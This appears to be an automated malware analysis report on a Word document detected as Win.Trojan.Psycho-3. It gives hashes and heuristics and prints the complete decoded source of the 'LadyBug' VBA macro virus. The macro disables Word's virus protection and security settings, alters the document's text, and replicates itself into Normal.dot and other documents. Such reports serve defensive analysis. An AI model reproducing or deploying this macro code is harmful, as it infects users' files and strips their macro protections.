Win.Trojan.Psycho-3 — Office (OLE) malware analysis

Static analysis result for SHA-256 1410a042f2f1dc11…

MALICIOUS

Office (OLE)

29.0 KB Created: 1997-04-26 17:26:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: dfbc9d8b1306d2fee2e1f291478bb2b9 SHA-1: 7e37a7dda2b7e80dbe90aac267aec5fa46331ae0 SHA-256: 1410a042f2f1dc11b45cb6f7653eef9b0e07d40d02e7a9a2f3c5f389a45d3724
200 Risk Score

Malware Insights

Win.Trojan.Psycho-3 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic

The sample contains a VBA macro named 'LadyBug' with an AutoClose subroutine, indicating it is designed to execute automatically when the document is closed. This macro attempts to infect the Normal template and other documents by exporting and importing the 'LadyBug' macro, and also modifies the registry to disable Word's macro security. The ClamAV detection names 'Win.Trojan.Psycho-3' and 'Doc.Trojan.Fool-9' further support its malicious nature.

Heuristics 4

  • ClamAV: Win.Trojan.Psycho-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Psycho-3
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1810 bytes
SHA-256: fc76c3e43bb0f438ea94edb727f5a4aa691a6fb1807a64fa688b7aefdcf43d22
Detection
ClamAV: Doc.Trojan.Fool-9
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "LadyBug"

Sub AutoClose()
    'LadyBug Virus V1.00
    'The WaLRuS 04/00
    On Error Resume Next
    Options.ConfirmConversions = False
    Options.VirusProtection = False
    Options.SaveNormalPrompt = False
    CommandBars("Macro").Controls("Security...").Enabled = False
    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
    ActiveDocument.ReadOnlyRecommended = False
        Selection.HomeKey Unit:=wdStory
        Selection.Find.ClearFormatting
        Selection.Find.Replacement.ClearFormatting
        With Selection.Find
            .Text = "mr"
            .Replacement.Text = "mrs"
            .Forward = True
            .Wrap = wdFindContinue
            .Format = False
            .MatchCase = False
            .MatchWholeWord = True
            .MatchAllWordForms = False
        End With
    Selection.Find.Execute Replace:=wdReplaceAll
    Set Norm = NormalTemplate.VBProject.VBComponents
    Set Doc = ActiveDocument.VBProject.VBComponents
If Norm.Item("LadyBug").Name <> "LadyBug" Then
    Doc("LadyBug").Export "c:\LadyBug.drv"
    Set infect = NormalTemplate.VBProject
ElseIf Doc.Item("LadyBug").Name <> "LadyBug" Then
    Norm("LAdyBug").Export "c:\LadyBug.drv"
    Set infect = ActiveDocument.VBProject
End If
With Dialogs(wdDialogFileSummaryInfo)
    .Subject = "LadyBug"
    .Execute
End With
infect.VBComponents.Import ("c:\LadyBug.drv")
Kill ("c:\LadyBug.drv")
ActiveDocument.Save
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.